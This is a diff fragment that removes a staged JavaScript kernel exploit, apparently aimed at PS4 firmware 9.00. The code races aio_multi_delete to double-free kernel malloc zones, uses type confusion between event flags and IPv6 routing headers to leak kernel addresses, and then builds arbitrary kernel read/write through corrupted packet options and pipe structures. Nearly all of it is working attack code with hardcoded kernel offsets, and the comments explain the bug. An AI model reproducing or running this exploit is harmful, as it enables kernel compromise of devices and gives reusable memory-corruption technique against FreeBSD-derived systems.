-    const len = ((size >> 3) - 1) & ~1;
-    size = (len + 1) << 3;
-
-    buf[0] = 0;
-    buf[1] = len;
-    buf[2] = 0;
-    buf[3] = len >> 1;
-
-    return size;
-}
-
-function spawn_thread(thread) {
-    const ctx = new Buffer(context_size);
-    const pthread = new Pointer();
-    pthread.ctx = ctx;
-    // pivot the pthread's stack pointer to our stack
-    ctx.write64(0x38, thread.stack_addr);
-    ctx.write64(0x80, thread.get_gadget('ret'));
-
-    call_nze(
-        'pthread_create',
-        pthread.addr,
-        0,
-        chain.get_gadget('setcontext'),
-        ctx.addr,
-    );
-
-    return pthread;
-}
-
-// EXPLOIT STAGES IMPLEMENTATION
-
-// FUNCTIONS FOR STAGE: 0x80 MALLOC ZONE DOUBLE FREE
-
-function make_aliased_rthdrs(sds) {
-    const marker_offset = 4;
-    const size = 0x80;
-    const buf = new Buffer(size);
-    const rsize = build_rthdr(buf, size);
-
-    for (let loop = 0; loop < num_alias; loop++) {
-        for (let i = 0; i < num_sds; i++) {
-            buf.write32(marker_offset, i);
-            set_rthdr(sds[i], buf, rsize);
-        }
-
-        for (let i = 0; i < sds.length; i++) {
-            get_rthdr(sds[i], buf);
-            const marker = buf.read32(marker_offset);
-            if (marker !== i) {
-                log(`aliased rthdrs at attempt: ${loop}`);
-                const pair = [sds[i], sds[marker]];
-                log(`found pair: ${pair}`);
-                sds.splice(marker, 1);
-                sds.splice(i, 1);
-                free_rthdrs(sds);
-                sds.push(new_socket(), new_socket());
-                return pair;
-            }
-        }
-    }
-    die(`failed to make aliased rthdrs. size: ${hex(size)}`);
-}
-
-// summary of the bug at aio_multi_delete():
-//
-// void
-// free_queue_entry(struct aio_entry *reqs2)
-// {
-//     if (reqs2->ar2_spinfo != NULL) {
-//         printf(
-//             "[0]%s() line=%d Warning !! split info is here\n",
-//             __func__,
-//             __LINE__
-//         );
-//     }
-//     if (reqs2->ar2_file != NULL) {
-//         // we can potentially delay .fo_close()
-//         fdrop(reqs2->ar2_file, curthread);
-//         reqs2->ar2_file = NULL;
-//     }
-//     free(reqs2, M_AIO_REQS2);
-// }
-//
-// int
-// _aio_multi_delete(
-//     struct thread *td,
-//     SceKernelAioSubmitId ids[],
-//     u_int num_ids,
-//     int sce_errors[])
-// {
-//     // ...
-//     struct aio_object *obj = id_rlock(id_tbl, id, 0x160, id_entry);
-//     // ...
-//     u_int rem_ids = obj->ao_rem_ids;
-//     if (rem_ids != 1) {
-//         // BUG: wlock not acquired on this path
-//         obj->ao_rem_ids = --rem_ids;
-//         // ...
-//         free_queue_entry(obj->ao_entries[req_idx]);
-//         // the race can crash because of a NULL dereference since this path
-//         // doesn't check if the array slot is NULL so we delay
-//         // free_queue_entry()
-//         obj->ao_entries[req_idx] = NULL;
-//     } else {
-//         // ...
-//     }
-//     // ...
-// }
-function race_one(request_addr, tcp_sd, barrier, racer, sds) {
-    const sce_errs = new View4([-1, -1]);
-    const thr_mask = new Word(1 << main_core);
-
-    const thr = racer;
-    thr.push_syscall(
-        'cpuset_setaffinity',
-        CPU_LEVEL_WHICH,
-        CPU_WHICH_TID,
-        -1,
-        8,
-        thr_mask.addr,
-    );
-    thr.push_syscall('rtprio_thread', RTP_SET, 0, rtprio.addr);
-    thr.push_gadget('pop rax; ret');
-    thr.push_value(1);
-    thr.push_get_retval();
-    thr.push_call('pthread_barrier_wait', barrier.addr);
-    thr.push_syscall(
-        'aio_multi_delete',
-        request_addr,
-        1,
-        sce_errs.addr_at(1),
-    );
-    thr.push_call('pthread_exit', 0);
-
-    const pthr = spawn_thread(thr);
-    const thr_tid = pthr.read32(0);
-
-    // pthread barrier implementation:
-    //
-    // given a barrier that needs N threads for it to be unlocked, a thread
-    // will sleep if it waits on the barrier and N - 1 threads havent't arrived
-    // before
-    //
-    // if there were already N - 1 threads then that thread (last waiter) won't
-    // sleep and it will send out a wake-up call to the waiting threads
-    //
-    // since the ps4's cores only have 1 hardware thread each, we can pin 2
-    // threads on the same core and control the interleaving of their
-    // executions via controlled context switches
-
-    // wait for the worker to enter the barrier and sleep
-    while (thr.retval_int === 0) {
-        sys_void('sched_yield');
-    }
-
-    // enter the barrier as the last waiter
-    chain.push_call('pthread_barrier_wait', barrier.addr);
-    // yield and hope the scheduler runs the worker next. the worker will then
-    // sleep at soclose() and hopefully we run next
-    chain.push_syscall('sched_yield');
-    // if we get here and the worker hasn't been reran then we can delay the
-    // worker's execution of soclose() indefinitely
-    chain.push_syscall('thr_suspend_ucontext', thr_tid);
-    chain.push_get_retval();
-    chain.push_get_errno();
-    chain.push_end();
-    chain.run();
-    chain.reset();
-
-    const main_res = chain.retval_int;
-    log(`suspend ${thr_tid}: ${main_res} errno: ${chain.errno}`);
-
-    if (main_res === -1) {
-        call_nze('pthread_join', pthr, 0);
-        log();
-        return null;
-    }
-
-    let won_race = false;
-    try {
-        const poll_err = new View4(1);
-        aio_multi_poll(request_addr, 1, poll_err.addr);
-        log(`poll: ${hex(poll_err[0])}`);
-
-        const info_buf = new View1(size_tcp_info);
-        const info_size = gsockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf);
-        log(`info size: ${hex(info_size)}`);
-
-        if (info_size !== size_tcp_info) {
-            die(`info size isn't ${size_tcp_info}: ${info_size}`);
-        }
-
-        const tcp_state = info_buf[0];
-        log(`tcp_state: ${tcp_state}`);
-
-        const SCE_KERNEL_ERROR_ESRCH = 0x80020003;
-        if (poll_err[0] !== SCE_KERNEL_ERROR_ESRCH
-            && tcp_state !== TCPS_ESTABLISHED
-        ) {
-            // PANIC: double free on the 0x80 malloc zone. important kernel
-            // data may alias
-            aio_multi_delete(request_addr, 1, sce_errs.addr);
-            won_race = true;
-        }
-    } finally {
-        log('resume thread\n');
-        sysi('thr_resume_ucontext', thr_tid);
-        call_nze('pthread_join', pthr, 0);
-    }
-
-    if (won_race) {
-        log(`race errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
-        // if the code has no bugs then this isn't possible but we keep the
-        // check for easier debugging
-        if (sce_errs[0] !== sce_errs[1]) {
-            log('ERROR: bad won_race');
-            die('ERROR: bad won_race');
-        }
-        // RESTORE: double freed memory has been reclaimed with harmless data
-        // PANIC: 0x80 malloc zone pointers aliased
-        return make_aliased_rthdrs(sds);
-    }
-
-    return null;
-}
-
-function double_free_reqs2(sds) {
-    function swap_bytes(x, byte_length) {
-        let res = 0;
-        for (let i = 0; i < byte_length; i++) {
-            res |= ((x >> 8 * i) & 0xff) << 8 * (byte_length - i - 1);
-        }
-
-        return res >>> 0;
-    }
-
-    function htons(x) {
-        return swap_bytes(x, 2);
-    }
-
-    function htonl(x) {
-        return swap_bytes(x, 4);
-    }
-
-    const server_addr = new Buffer(16);
-    // sockaddr_in.sin_family
-    server_addr[1] = AF_INET;
-    // sockaddr_in.sin_port
-    server_addr.write16(2, htons(5050));
-    // sockaddr_in.sin_addr = 127.0.0.1
-    server_addr.write32(4, htonl(0x7f000001));
-
-    const racer = new Chain();
-    const barrier = new Long();
-    call_nze('pthread_barrier_init', barrier.addr, 0, 2);
-
-    const num_reqs = 3;
-    const which_req = num_reqs - 1;
-    const reqs1 = make_reqs1(num_reqs);
-    const reqs1_p = reqs1.addr;
-    const aio_ids = new View4(num_reqs);
-    const aio_ids_p = aio_ids.addr;
-    const req_addr = aio_ids.addr_at(which_req);
-    const cmd = AIO_CMD_MULTI_READ;
-
-    const sd_listen = new_tcp_socket();
-    ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, new Word(1));
-
-    sysi('bind', sd_listen, server_addr.addr, server_addr.size);
-    sysi('listen', sd_listen, 1);
-
-    for (let i = 0; i < num_races; i++) {
-        const sd_client = new_tcp_socket();
-        sysi('connect', sd_client, server_addr.addr, server_addr.size);
-
-        const sd_conn = sysi('accept', sd_listen, 0, 0);
-        // force soclose() to sleep
-        ssockopt(sd_client, SOL_SOCKET, SO_LINGER, View4.of(1, 1));
-        reqs1.write32(0x20 + which_req*0x28, sd_client);
-
-        aio_submit_cmd(cmd, reqs1_p, num_reqs, aio_ids_p);
-        aio_multi_cancel(aio_ids_p, num_reqs);
-        aio_multi_poll(aio_ids_p, num_reqs);
-
-        // drop the reference so that aio_multi_delete() will trigger _fdrop()
-        close(sd_client);
-
-        const res = race_one(req_addr, sd_conn, barrier, racer, sds);
-        racer.reset();
-
-        // MEMLEAK: if we won the race, aio_obj.ao_num_reqs got decremented
-        // twice. this will leave one request undeleted
-        aio_multi_delete(aio_ids_p, num_reqs);
-        close(sd_conn);
-
-        if (res !== null) {
-            log(`won race at attempt: ${i}`);
-            close(sd_listen);
-            call_nze('pthread_barrier_destroy', barrier.addr);
-            return res;
-        }
-    }
-
-    die('failed aio double free');
-}
-
-// FUNCTIONS FOR STAGE: LEAK 0x100 MALLOC ZONE ADDRESS
-
-function new_evf(flags) {
-    const name = cstr('');
-    // int evf_create(char *name, uint32_t attributes, uint64_t flags)
-    return sysi('evf_create', name.addr, 0, flags);
-}
-
-function set_evf_flags(id, flags) {
-    sysi('evf_clear', id, 0);
-    sysi('evf_set', id, flags);
-}
-
-function free_evf(id) {
-    sysi('evf_delete', id);
-}
-
-function verify_reqs2(buf, offset) {
-    // reqs2.ar2_cmd
-    if (buf.read32(offset) !== AIO_CMD_WRITE) {
-        return false;
-    }
-
-    // heap addresses are prefixed with 0xffff_xxxx
-    // xxxx is randomized on boot
-    //
-    // heap_prefixes is a array of randomized prefix bits from a group of heap
-    // address candidates. if the candidates truly are from the heap, they must
-    // share a common prefix
-    const heap_prefixes = [];
-
-    // check if offsets 0x10 to 0x20 look like a kernel heap address
-    for (let i = 0x10; i <= 0x20; i += 8) {
-        if (buf.read16(offset + i + 6) !== 0xffff) {
-            return false;
-        }
-        heap_prefixes.push(buf.read16(offset + i + 4));
-    }
-
-    // check reqs2.ar2_result.state
-    // state is actually a 32-bit value but the allocated memory was
-    // initialized with zeros. all padding bytes must be 0 then
-    let state = buf.read32(offset + 0x38);
-    if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) {
-        return false;
-    }
-
-    // reqs2.ar2_file must be NULL since we passed a bad file descriptor to
-    // aio_submit_cmd()
-    if (!buf.read64(offset + 0x40).eq(0)) {
-        return false;
-    }
-
-    // check if offsets 0x48 to 0x50 look like a kernel address
-    for (let i = 0x48; i <= 0x50; i += 8) {
-        if (buf.read16(offset + i + 6) === 0xffff) {
-            // don't push kernel ELF addresses
-            if (buf.read16(offset + i + 4) !== 0xffff) {
-                heap_prefixes.push(buf.read16(offset + i + 4));
-            }
-        // offset 0x48 can be NULL
-        } else if (i === 0x50 || !buf.read64(offset + i).eq(0)) {
-            return false;
-        }
-    }
-
-    return heap_prefixes.every((e, i, a) => e === a[0]);
-}
-
-function leak_kernel_addrs(sd_pair) {
-    close(sd_pair[1]);
-    const sd = sd_pair[0];
-    const buf = new Buffer(0x80 * leak_len);
-
-    // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf
-    // must be set to >= 0xf00 in order to fully leak the contents of the rthdr
-    log('confuse evf with rthdr');
-    let evf = null;
-    for (let i = 0; i < num_alias; i++) {
-        const evfs = [];
-        for (let i = 0; i < num_handles; i++) {
-            evfs.push(new_evf(0xf00 | i << 16));
-        }
-
-        get_rthdr(sd, buf, 0x80);
-        // for simplicity, we'll assume i < 2**16
-        const flags32 = buf.read32(0);
-        evf = evfs[flags32 >>> 16];
-
-        set_evf_flags(evf, flags32 | 1);
-        get_rthdr(sd, buf, 0x80);
-
-        if (buf.read32(0) === flags32 | 1) {
-            evfs.splice(flags32 >> 16, 1);
-        } else {
-            evf = null;
-        }
-
-        for (const evf of evfs) {
-            free_evf(evf);
-        }
-
-        if (evf !== null) {
-            log(`confused rthdr and evf at attempt: ${i}`);
-            break;
-        }
-    }
-
-    if (evf === null) {
-        die('failed to confuse evf and rthdr');
-    }
-
-    set_evf_flags(evf, 0xff << 8);
-    get_rthdr(sd, buf, 0x80);
-
-    // fields we use from evf (number before the field is the offset in hex):
-    // struct evf:
-    //     0 u64 flags
-    //     28 struct cv cv
-    //     38 TAILQ_HEAD(struct evf_waiter) waiters
-
-    // evf.cv.cv_description = "evf cv"
-    // string is located at the kernel's mapped ELF file
-    const kernel_addr = buf.read64(0x28);
-    log(`"evf cv" string addr: ${kernel_addr}`);
-    // because of TAILQ_INIT(), we have:
-    //
-    // evf.waiters.tqh_last == &evf.waiters.tqh_first
-    //
-    // we now know the address of the kernel buffer we are leaking
-    const kbuf_addr = buf.read64(0x40).sub(0x38);
-    log(`kernel buffer addr: ${kbuf_addr}`);
-
-    // 0x80 < num_elems * sizeof(SceKernelAioRWRequest) <= 0x100
-    // allocate reqs1 arrays at 0x100 malloc zone
-    const num_elems = 6;
-    // use reqs1 to fake a aio_info. set .ai_cred (offset 0x10) to offset 4 of
-    // the reqs2 so crfree(ai_cred) will harmlessly decrement the .ar2_ticket
-    // field
-    const ucred = kbuf_addr.add(4);
-
-    const leak_reqs = make_reqs1(num_elems);
-    const leak_reqs_p = leak_reqs.addr;
-    leak_reqs.write64(0x10, ucred);
-
-    const leak_ids_len = num_handles * num_elems;
-    const leak_ids = new View4(leak_ids_len);
-    const leak_ids_p = leak_ids.addr;
-
-    log('find aio_entry');
-    let reqs2_off = null;
-    loop: for (let i = 0; i < num_leaks; i++) {
-        get_rthdr(sd, buf);
-
-        spray_aio(
-            num_handles,
-            leak_reqs_p,
-            num_elems,
-            leak_ids_p,
-            true,
-            AIO_CMD_WRITE,
-        );
-
-        get_rthdr(sd, buf);
-        for (let off = 0x80; off < buf.length; off += 0x80) {
-            if (verify_reqs2(buf, off)) {
-                reqs2_off = off;
-                log(`found reqs2 at attempt: ${i}`);
-                break loop;
-            }
-        }
-
-        free_aios(leak_ids_p, leak_ids_len);
-    }
-    if (reqs2_off === null) {
-        die('could not leak a reqs2');
-    }
-    log(`reqs2 offset: ${hex(reqs2_off)}`);
-
-    get_rthdr(sd, buf);
-    const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80);
-    log('leaked aio_entry:');
-    hexdump(reqs2);
-
-    const reqs1_addr = new Long(reqs2.read64(0x10));
-    log(`reqs1_addr: ${reqs1_addr}`);
-    reqs1_addr.lo &= -0x100;
-    log(`reqs1_addr: ${reqs1_addr}`);
-
-    log('searching target_id');
-    let target_id = null;
-    let to_cancel_p = null;
-    let to_cancel_len = null;
-    for (let i = 0; i < leak_ids_len; i += num_elems) {
-        aio_multi_cancel(leak_ids_p.add(i << 2), num_elems);
-
-        get_rthdr(sd, buf);
-        const state = buf.read32(reqs2_off + 0x38);
-        if (state === AIO_STATE_ABORTED) {
-            log(`found target_id at batch: ${i / num_elems}`);
-
-            target_id = new Word(leak_ids[i]);
-            leak_ids[i] = 0;
-            log(`target_id: ${hex(target_id)}`);
-
-            const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80);
-            log('leaked aio_entry:');
-            hexdump(reqs2);
-
-            const start = i + num_elems;
-            to_cancel_p = leak_ids.addr_at(start);
-            to_cancel_len = leak_ids_len - start;
-            break;
-        }
-    }
-    if (target_id === null) {
-        die('target_id not found');
-    }
-
-    cancel_aios(to_cancel_p, to_cancel_len);
-    free_aios2(leak_ids_p, leak_ids_len);
-
-    return [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf];
-}
-
-// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
-
-function make_aliased_pktopts(sds) {
-    const tclass = new Word();
-    for (let loop = 0; loop < num_alias; loop++) {
-        for (let i = 0; i < num_sds; i++) {
-            tclass[0] = i;
-            ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
-        }
-
-        for (let i = 0; i < sds.length; i++) {
-            gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
-            const marker = tclass[0];
-            if (marker !== i) {
-                log(`aliased pktopts at attempt: ${loop}`);
-                const pair = [sds[i], sds[marker]];
-                log(`found pair: ${pair}`);
-                sds.splice(marker, 1);
-                sds.splice(i, 1);
-                // add pktopts to the new sockets now while new allocs can't
-                // use the double freed memory
-                for (let i = 0; i < 2; i++) {
-                    const sd = new_socket();
-                    ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
-                    sds.push(sd);
-                }
-
-                return pair;
-            }
-        }
-
-        for (let i = 0; i < num_sds; i++) {
-            setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
-        }
-    }
-    die('failed to make aliased pktopts');
-}
-
-function double_free_reqs1(
-    reqs1_addr, kbuf_addr, target_id, evf, sd, sds,
-) {
-    const max_leak_len = (0xff + 1) << 3;
-    const buf = new Buffer(max_leak_len);
-
-    const num_elems = max_aio_ids;
-    const aio_reqs = make_reqs1(num_elems);
-    const aio_reqs_p = aio_reqs.addr;
-
-    const num_batches = 2;
-    const aio_ids_len = num_batches * num_elems;
-    const aio_ids = new View4(aio_ids_len);
-    const aio_ids_p = aio_ids.addr;
-
-    log('start overwrite rthdr with AIO queue entry loop');
-    let aio_not_found = true;
-    free_evf(evf);
-    for (let i = 0; i < num_clobbers; i++) {
-        spray_aio(num_batches, aio_reqs_p, num_elems, aio_ids_p);
-
-        if (get_rthdr(sd, buf) === 8 && buf.read32(0) === AIO_CMD_READ) {
-            log(`aliased at attempt: ${i}`);
-            aio_not_found = false;
-            cancel_aios(aio_ids_p, aio_ids_len);
-            break;
-        }
-
-        free_aios(aio_ids_p, aio_ids_len);
-    }
-    if (aio_not_found) {
-        die('failed to overwrite rthdr');
-    }
-
-    const reqs2 = new Buffer(0x80);
-    const rsize = build_rthdr(reqs2, reqs2.size);
-    // .ar2_ticket
-    reqs2.write32(4, 5);
-    // .ar2_info
-    reqs2.write64(0x18, reqs1_addr);
-    // craft a aio_batch using the end portion of the buffer
-    const reqs3_off = 0x28;
-    // .ar2_batch
-    reqs2.write64(0x20, kbuf_addr.add(reqs3_off));
-
-    // [.ar3_num_reqs, .ar3_reqs_left] aliases .ar2_spinfo
-    // safe since free_queue_entry() doesn't deref the pointer
-    reqs2.write32(reqs3_off, 1);
-    reqs2.write32(reqs3_off + 4, 0);
-    // [.ar3_state, .ar3_done] aliases .ar2_result.returnValue
-    reqs2.write32(reqs3_off + 8, AIO_STATE_COMPLETE);
-    reqs2[reqs3_off + 0xc] = 0;
-    // .ar3_lock aliases .ar2_qentry (rest of the buffer is padding)
-    // safe since the entry already got dequeued
-    //
-    // .ar3_lock.lock_object.lo_flags = (
-    //     LO_SLEEPABLE | LO_UPGRADABLE
-    //     | LO_RECURSABLE | LO_DUPOK | LO_WITNESS
-    //     | 6 << LO_CLASSSHIFT
-    //     | LO_INITIALIZED
-    // )
-    reqs2.write32(reqs3_off + 0x28, 0x67b0000);
-    // .ar3_lock.lk_lock = LK_UNLOCKED
-    reqs2.write64(reqs3_off + 0x38, 1);
-
-    const states = new View4(num_elems);
-    const states_p = states.addr;
-    const addr_cache = [aio_ids_p];
-    for (let i = 1; i < num_batches; i++) {
-        addr_cache.push(aio_ids_p.add((i * num_elems) << 2));
-    }
-
-    log('start overwrite AIO queue entry with rthdr loop');
-    let req_id = null;
-    close(sd);
-    sd = null;
-    loop: for (let i = 0; i < num_alias; i++) {
-        for (const sd of sds) {
-            set_rthdr(sd, reqs2, rsize);
-        }
-
-        for (let batch = 0; batch < addr_cache.length; batch++) {
-            states.fill(-1);
-            aio_multi_cancel(addr_cache[batch], num_elems, states_p);
-
-            const req_idx = states.indexOf(AIO_STATE_COMPLETE);
-            if (req_idx !== -1) {
-                log(`req_idx: ${req_idx}`);
-                log(`found req_id at batch: ${batch}`);
-                log(`states: ${[...states].map(e => hex(e))}`);
-                log(`states[${req_idx}]: ${hex(states[req_idx])}`);
-                log(`aliased at attempt: ${i}`);
-
-                const aio_idx = batch*num_elems + req_idx;
-                req_id = new Word(aio_ids[aio_idx]);
-                log(`req_id: ${hex(req_id)}`);
-                aio_ids[aio_idx] = 0;
-
-                // set .ar3_done to 1
-                poll_aio(req_id, states);
-                log(`states[${req_idx}]: ${hex(states[0])}`);
-                for (let i = 0; i < num_sds; i++) {
-                    const sd2 = sds[i];
-                    get_rthdr(sd2, reqs2);
-                    const done = reqs2[reqs3_off + 0xc];
-                    if (done) {
-                        hexdump(reqs2);
-                        sd = sd2;
-                        sds.splice(i, 1);
-                        free_rthdrs(sds);
-                        sds.push(new_socket());
-                        break;
-                    }
-                }
-                if (sd === null) {
-                    die("can't find sd that overwrote AIO queue entry");
-                }
-                log(`sd: ${sd}`);
-
-                break loop;
-            }
-        }
-    }
-    if (req_id === null) {
-        die('failed to overwrite AIO queue entry');
-    }
-    free_aios2(aio_ids_p, aio_ids_len);
-
-    // enable deletion of target_id
-    poll_aio(target_id, states);
-    log(`target's state: ${hex(states[0])}`);
-
-    const sce_errs = new View4([-1, -1]);
-    const target_ids = new View4([req_id, target_id]);
-    // PANIC: double free on the 0x100 malloc zone. important kernel data may
-    // alias
-    aio_multi_delete(target_ids.addr, 2, sce_errs.addr);
-
-    // we reclaim first since the sanity checking here is longer which makes it
-    // more likely that we have another process claim the memory
-    try {
-        // RESTORE: double freed memory has been reclaimed with harmless data
-        // PANIC: 0x100 malloc zone pointers aliased
-        const sd_pair = make_aliased_pktopts(sds);
-        return [sd_pair, sd];
-    } finally {
-        log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
-
-        states[0] = -1;
-        states[1] = -1;
-        poll_aio(target_ids, states);
-        log(`target states: ${hex(states[0])}, ${hex(states[1])}`);
-
-        const SCE_KERNEL_ERROR_ESRCH = 0x80020003;
-        let success = true;
-        if (states[0] !== SCE_KERNEL_ERROR_ESRCH) {
-            log('ERROR: bad delete of corrupt AIO request');
-            success = false;
-        }
-        if (sce_errs[0] !== 0 || sce_errs[0] !== sce_errs[1]) {
-            log('ERROR: bad delete of ID pair');
-            success = false;
-        }
-
-        if (!success) {
-            die('ERROR: double free on a 0x100 malloc zone failed');
-        }
-    }
-}
-
-// FUNCTIONS FOR STAGE: MAKE ARBITRARY KERNEL READ/WRITE
-
-// k100_addr is double freed 0x100 malloc zone address
-// dirty_sd is the socket whose rthdr pointer is corrupt
-// kernel_addr is the address of the "evf cv" string
-function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
-    const psd = pktopts_sds[0];
-    const tclass = new Word();
-    const off_tclass = is_ps4 ? 0xb0 : 0xc0;
-
-    const pktopts = new Buffer(0x100);
-    const rsize = build_rthdr(pktopts, pktopts.size);
-    const pktinfo_p = k100_addr.add(0x10);
-    // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo
-    pktopts.write64(0x10, pktinfo_p);
-
-    log('overwrite main pktopts');
-    let reclaim_sd = null;
-    close(pktopts_sds[1]);
-    for (let i = 0; i < num_alias; i++) {
-        for (let i = 0; i < num_sds; i++) {
-            // if a socket doesn't have a pktopts, setting the rthdr will make
-            // one. the new pktopts might reuse the memory instead of the
-            // rthdr. make sure the sockets already have a pktopts before
-            pktopts.write32(off_tclass, 0x4141 | i << 16);
-            set_rthdr(sds[i], pktopts, rsize);
-        }
-
-        gsockopt(psd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
-        const marker = tclass[0];
-        if ((marker & 0xffff) === 0x4141) {
-            log(`found reclaim sd at attempt: ${i}`);
-            const idx = marker >>> 16;
-            reclaim_sd = sds[idx];
-            sds.splice(idx, 1);
-            break;
-        }
-    }
-    if (reclaim_sd === null) {
-        die('failed to overwrite main pktopts');
-    }
-
-    const pktinfo = new Buffer(0x14);
-    pktinfo.write64(0, pktinfo_p);
-    const nhop = new Word();
-    const nhop_p = nhop.addr;
-    const read_buf = new Buffer(8);
-    const read_buf_p = read_buf.addr;
-    function kread64(addr) {
-        const len = 8;
-        let offset = 0;
-        while (offset < len) {
-            // pktopts.ip6po_nhinfo = addr + offset
-            pktinfo.write64(8, addr.add(offset));
-            nhop[0] = len - offset;
-
-            ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
-            sysi(
-                'getsockopt',
-                psd, IPPROTO_IPV6, IPV6_NEXTHOP,
-                read_buf_p.add(offset), nhop_p,
-            );
-
-            const n = nhop[0];
-            if (n === 0) {
-                read_buf[offset] = 0;
-                offset += 1;
-            } else {
-                offset += n;
-            }
-        }
-        return read_buf.read64(0);
-    }
-
-    log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`);
-    const kstr = jstr(read_buf);
-    log(`*(&"evf cv"): ${kstr}`);
-    if (kstr !== 'evf cv') {
-        die('test read of &"evf cv" failed');
-    }
-
-    // Only For PS4 9.00
-
-    const off_kstr = 0x7f6f27;
-    const kbase = kernel_addr.sub(off_kstr);
-    log(`kernel base: ${kbase}`);
-
-    log('\nmaking arbitrary kernel read/write');
-    const cpuid = 7 - main_core;
-    const off_cpuid_to_pcpu = 0x21ef2a0;
-    const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8);
-    log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`);
-    const pcpu = kread64(pcpu_p);
-    log(`pcpu: ${pcpu}`);
-    log(`cpuid: ${kread64(pcpu.add(0x30)).hi}`);
-    // __pcpu[cpuid].pc_curthread
-    const td = kread64(pcpu);
-    log(`td: ${td}`);
-
-    const off_td_proc = 8;
-    const proc = kread64(td.add(off_td_proc));
-    log(`proc: ${proc}`);
-    const pid = sysi('getpid');
-    log(`our pid: ${pid}`);
-    const pid2 = kread64(proc.add(0xb0)).lo;
-    log(`suspected proc pid: ${pid2}`);
-    if (pid2 !== pid) {
-        die('process not found');
-    }
-
-    const off_p_fd = 0x48;
-    const p_fd = kread64(proc.add(off_p_fd));
-    log(`proc.p_fd: ${p_fd}`);
-    // curthread->td_proc->p_fd->fd_ofiles
-    const ofiles = kread64(p_fd);
-    log(`ofiles: ${ofiles}`);
-
-    const off_p_ucred = 0x40;
-    const p_ucred = kread64(proc.add(off_p_ucred));
-    log(`p_ucred ${p_ucred}`);
-
-    const pipes = new View4(2);
-    sysi('pipe', pipes.addr);
-    const pipe_file = kread64(ofiles.add(pipes[0] * 8));
-    log(`pipe file: ${pipe_file}`);
-    // ofiles[pipe_fd].f_data
-    const kpipe = kread64(pipe_file);
-    log(`pipe pointer: ${kpipe}`);
-
-    const pipe_save = new Buffer(0x18); // sizeof struct pipebuf
-    for (let off = 0; off < pipe_save.size; off += 8) {
-        pipe_save.write64(off, kread64(kpipe.add(off)));
-    }
-
-    const main_sd = psd;
-    const worker_sd = dirty_sd;
-
-    const main_file = kread64(ofiles.add(main_sd * 8));
-    log(`main sock file: ${main_file}`);
-    // ofiles[sd].f_data
-    const main_sock = kread64(main_file);
-    log(`main sock pointer: ${main_sock}`);
-    // socket.so_pcb (struct inpcb *)
-    const m_pcb = kread64(main_sock.add(0x18));
-    log(`main sock pcb: ${m_pcb}`);
-    // inpcb.in6p_outputopts
-    const m_pktopts = kread64(m_pcb.add(0x118));
-    log(`main pktopts: ${m_pktopts}`);
-    log(`0x100 malloc zone pointer: ${k100_addr}`);
-
-    if (m_pktopts.ne(k100_addr)) {
-        die('main pktopts pointer != leaked pktopts pointer');
-    }
-
-    // ofiles[sd].f_data
-    const reclaim_sock = kread64(kread64(ofiles.add(reclaim_sd * 8)));
-    log(`reclaim sock pointer: ${reclaim_sock}`);
-    // socket.so_pcb (struct inpcb *)
-    const r_pcb = kread64(reclaim_sock.add(0x18));
-    log(`reclaim sock pcb: ${r_pcb}`);
-    // inpcb.in6p_outputopts
-    const r_pktopts = kread64(r_pcb.add(0x118));
-    log(`reclaim pktopts: ${r_pktopts}`);
-
-    // ofiles[sd].f_data
-    const worker_sock = kread64(kread64(ofiles.add(worker_sd * 8)));
-    log(`worker sock pointer: ${worker_sock}`);
-    // socket.so_pcb (struct inpcb *)
-    const w_pcb = kread64(worker_sock.add(0x18));
-    log(`worker sock pcb: ${w_pcb}`);
-    // inpcb.in6p_outputopts
-    const w_pktopts = kread64(w_pcb.add(0x118));
-    log(`worker pktopts: ${w_pktopts}`);
-
-    // get restricted read/write with pktopts pair
-    // main_pktopts.ip6po_pktinfo = &worker_pktopts.ip6po_pktinfo
-    const w_pktinfo = w_pktopts.add(0x10);
-    pktinfo.write64(0, w_pktinfo);
-    pktinfo.write64(8, 0); // clear .ip6po_nexthop
-    ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
-
-    pktinfo.write64(0, kernel_addr);
-    ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
-    gsockopt(worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
-    const kstr2 = jstr(pktinfo);
-    log(`*(&"evf cv"): ${kstr2}`);
-    if (kstr2 !== 'evf cv') {
-        die('pktopts read failed');
-    }
-    log('achieved restricted kernel read/write');
-
-    // in6_pktinfo.ipi6_ifindex must be 0 (or a valid interface index) when
-    // using pktopts write. we can safely modify a pipe even with this limit so
-    // we corrupt that instead for arbitrary read/write. pipe.pipe_map will be
-    // clobbered with zeros but that's okay
-    class KernelMemory {
-        constructor(main_sd, worker_sd, pipes, pipe_addr) {
-            this.main_sd = main_sd;
-            this.worker_sd = worker_sd;
-            this.rpipe = pipes[0];
-            this.wpipe = pipes[1];
-            this.pipe_addr = pipe_addr; // &pipe.pipe_buf
-            this.pipe_addr2 = pipe_addr.add(0x10); // &pipe.pipe_buf.buffer
-            this.rw_buf = new Buffer(0x14);
-            this.addr_buf = new Buffer(0x14);
-            this.data_buf = new Buffer(0x14);
-            this.data_buf.write32(0xc, 0x40000000);
-        }
-
-        _verify_len(len) {
-            if (!(Number.isInteger(len) && (0 <= len <= 0xffffffff))) {
-                throw TypeError('len not a 32-bit unsigned integer');
-            }
-        }
-
